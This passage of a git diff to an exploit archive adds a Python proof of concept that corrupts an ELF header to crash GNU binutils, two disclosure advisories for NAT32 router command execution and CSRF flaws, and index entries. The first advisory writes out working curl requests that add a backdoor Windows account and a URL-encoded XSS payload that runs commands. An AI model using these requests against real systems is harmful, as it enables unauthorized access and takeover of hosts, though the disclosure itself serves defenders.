\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
+f = open("helloWorld.c", 'w')
+f.write(hello)
+f.close()
+
+os.system("gcc -c helloWorld.c -o test")
+# file test
+# test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
+
+f = open("test", 'rb+')
+f.read(0x2c)
+f.write("\xff\xff") # 65535
+f.read(0x244-0x2c-2)
+f.write("\x00\x00\x00\x20") # 536870912
+f.close()
+# readelf -h test
+# Number of program headers: 65535 (536870912)
+
+os.system("objdump -x test; rm -r helloWorld.c test")
\ No newline at end of file
diff --git a/exploits/windows/webapps/44033.txt b/exploits/windows/webapps/44033.txt
new file mode 100644
index 000000000..d7e8551fc
--- /dev/null
+++ b/exploits/windows/webapps/44033.txt
@@ -0,0 +1,141 @@
+[+] Credits: hyp3rlinx
+[+] Website: hyp3rlinx.altervista.org
+[+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CVE-2018-6940.txt
+[+] ISR: Apparition Security
+
+[-_-] D1rty0tis
+
+
+Vendor:
+=============
+www.nat32.com
+
+
+Product:
+=================
+NAT32 Build (22284)
+
+
+NAT32 is a versatile IP Router implemented as a WIN32 application.
+
+
+Vulnerability Type:
+===================
+Remote Command Execution
+
+
+CVE Reference:
+==============
+CVE-2018-6940
+
+
+Security Issue:
+================
+NAT32 listens on Port 8080 for its Web interface.
+
+C:\>netstat -ano | findstr 8080
+ TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 3720
+
+
+If the 'Password Checking' (BASIC authentication) feature is NOT enabled (user must select it under config tab) then remote attackers who can reach
+NAT32 can potentially execute arbitrary commands, if authentication is enabled they will get 'Unauthorized' server reply, however, read on ...
+
+e.g.
+
+Add user account.
+
+C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add"
+
+
+run start net user D1rty0Tis abc123 /add Done
+
+
+
+If NAT32 'Password Checking' feature IS enabled, remote attackers can STILL potentially issue arbitrary commands exploiting a
+Cross Site Scripting vulnerability in the HTTPD code of NAT32, if authenticated NAT32 users click a malicious link
+or visit an attacker controlled webpage.
+
+Also worth mentioning, NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily
+revealed if sniffed on network.
+
+When 'Password Checking' is enabled attackers using Ajax calls via XSS would need to use a combination of '%0D%0A' and double encoding
+to deal with 'white-space' in order for the payload to stay intact.
+
+%25 for '%' sign then 20 (%2520) = %20, using %20 or %2B will not cut it, however '%0D%0A' (CRLF) and '%2520' encoding serves us well.
+
+NAT32 has an interesting Command 'EXECR' that can allow attackers to capture Command output response from the server to see right away if an
+attack was success or not.
+
+e.g.
+
+Add account and get response (EXECR)
+
+HTTP Response:
+
+
+The command completed successfully.
+
+execr net user D1rty0Tis abc123 /add Done
+
+
+
+The NAT32 'winroute' Command will return host route information.
+
+XSS response
+
+e.g.
+
+
+
+Destination Mask Nexthop Metric IfIndex Type Proto Age
+0.0.0.0 0.0.0.0 192.168.1.2 10 b 4 3 21:41 [min:sec]
+127.0.0.0 255.0.0.0 127.0.0.1 306 1 3 3 22:04 [min:sec]
+127.0.0.1 255.255.255.255 127.0.0.1 306 1 3 3 22:04 [min:sec]
+127.255.255.255 255.255.255.255 127.0.0.1 306 1 3 3 22:04 [min:sec]
+
+
+
+Exploit/POC:
+=============
+NET32 Password Checking not enabled...
+
+C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add"
+
+
+NAT32 BASIC authentication enabled use XSS...
+
+Add backdoor account and capture CMD output using NAT32 'execr' shell command.
+http://x.x.x.x:8080/shell?cmd=
+
+Get Windows Routes (info disclosure):
+http://x.x.x.x:8080/shell?cmd=%3Cscript%3Evar%0D%0Axhr=new%0D%0AXMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27GET%27,%27http://x.x.x.x:8080/shell?cmd=winroute%27,true);xhr.send(null);%3C/script%3E
+
+
+
+Network Access:
+===============
+Remote
+
+
+Severity:
+=========
+High
+
+
+Disclosure Timeline:
+=============================
+Vendor Notification: February 9, 2018
+Vendor acknowledgement: February 9, 2018
+Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018
+www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018
+February 14, 2018 : Public Disclosure
+
+
+
+[+] Disclaimer
+The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
+Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
+that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
+is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
+for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
+or exploits by the author or elsewhere. All content (c).
\ No newline at end of file
diff --git a/exploits/windows/webapps/44034.txt b/exploits/windows/webapps/44034.txt
new file mode 100644
index 000000000..494e3f93b
--- /dev/null
+++ b/exploits/windows/webapps/44034.txt
@@ -0,0 +1,75 @@
+[+] Credits: hyp3rlinx
+[+] Website: hyp3rlinx.altervista.org
+[+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt
+[+] ISR: Apparition Security
+
+[-_-] D1rty0tis
+
+
+Vendor:
+=============
+www.nat32.com
+
+
+Product:
+===========
+NAT32 Build (22284)
+
+NAT32® is a versatile IP Router implemented as a WIN32 application.
+
+
+Vulnerability Type:
+===================
+Remote Command Execution (CSRF)
+
+
+CVE Reference:
+==============
+CVE-2018-6941
+
+
+Security Issue:
+================
+CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution.
+
+Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link
+or visits an attacker controlled webpage as NAT32 performs no check for blind requests.
+
+Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network.
+
+
+Exploit/POC:
+=============
+Backdoor clicker
+
+
+
+Network Access:
+===============
+Remote
+
+
+
+Severity:
+=========
+High
+
+
+
+Disclosure Timeline:
+=============================
+Vendor Notification: February 9, 2018
+Vendor acknowledgement: February 9, 2018
+Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018
+www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018
+February 14, 2018 : Public Disclosure
+
+
+
+[+] Disclaimer
+The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
+Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
+that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
+is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
+for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
+or exploits by the author or elsewhere. All content (c).
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 331a4335b..4b8353484 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -5493,6 +5493,7 @@ id,file,description,date,author,type,platform,port
43996,exploits/android/dos/43996.txt,"Android - 'getpidcon' Permission Bypass in KeyStore Service",2018-02-07,"Google Security Research",dos,android,
43998,exploits/multiple/dos/43998.txt,"Multiple OEM - 'nsd' Remote Stack Format String (PoC)",2017-12-14,bashis,dos,multiple,
44007,exploits/macos/dos/44007.c,"macOS Kernel - Use-After-Free Due to Lack of Locking in 'AppleEmbeddedOSSupportHostClient::registerNotificationPort'",2018-02-09,"Google Security Research",dos,macos,
+44035,exploits/windows/dos/44035.py,"GNU binutils 2.26.1 - Integer Overflow (POC)",2018-02-14,r4xis,dos,windows,
41643,exploits/hardware/dos/41643.txt,"Google Nest Cam 5.2.1
- Buffer Overflow Conditions Over Bluetooth LE",2017-03-20,"Jason Doyle",dos,hardware,
41645,exploits/windows/dos/41645.txt,"Microsoft Windows Kernel - Registry Hive Loading Crashes in nt!nt!HvpGetBinMemAlloc / nt!ExpFindAndRemoveTagBigPages (MS17-017)",2017-03-20,"Google Security Research",dos,windows,
41646,exploits/windows/dos/41646.txt,"Microsoft Windows - Uniscribe Font Processing Out-of-Bounds Read in usp10!otlChainRuleSetTable::rule (MS17-011)",2017-03-20,"Google Security Research",dos,windows,
@@ -38037,6 +38038,12 @@ id,file,description,date,author,type,platform,port
44028,exploits/php/webapps/44028.txt,"TypeSetter CMS 5.1 - 'Host' Header Injection",2018-02-13,"Navina Asrani",webapps,php,
44029,exploits/php/webapps/44029.html,"TypeSetter CMS 5.1 - Cross-Site Request Forgery",2018-02-13,"Navina Asrani",webapps,php,
44030,exploits/php/webapps/44030.txt,"News Website Script 2.0.4 - 'search' SQL Injection",2018-02-13,"Varun Bagaria",webapps,php,
+44033,exploits/windows/webapps/44033.txt,"NAT32 2.2 Build 22284 - Remote Command Execution",2018-02-14,hyp3rlinx,webapps,windows,
+44034,exploits/windows/webapps/44034.txt,"NAT32 2.2 Build 22284 - Cross-Site Request Forgery",2018-02-14,hyp3rlinx,webapps,windows,
+44036,exploits/php/webapps/44036.txt,"Social Oauth Login PHP - Authentication Bypass",2018-02-14,L0RD,webapps,php,
+44037,exploits/php/webapps/44037.txt,"SOA School Management - 'access_login' SQL Injection",2018-02-14,L0RD,webapps,php,
+44038,exploits/php/webapps/44038.txt,"userSpice 4.3 - Cross-Site Scripting",2018-02-14,"Dolev Farhi",webapps,php,
+44039,exploits/linux/webapps/44039.txt,"Dell EMC Isilon OneFS - Multiple Vulnerabilities",2018-02-14,"Core Security",webapps,linux,
41641,exploits/php/webapps/41641.txt,"Joomla! Component JooCart 2.x - 'product_id' SQL Injection",2017-03-20,"Ihsan Sencan",webapps,php,
41642,exploits/php/webapps/41642.txt,"Joomla! Component jCart for OpenCart 2.0 - 'product_id' SQL Injection",2017-03-20,"Ihsan Sencan",webapps,php,
41644,exploits/php/webapps/41644.txt,"phplist 3.2.6 - SQL Injection",2017-03-20,"Curesec Research Team",webapps,php,80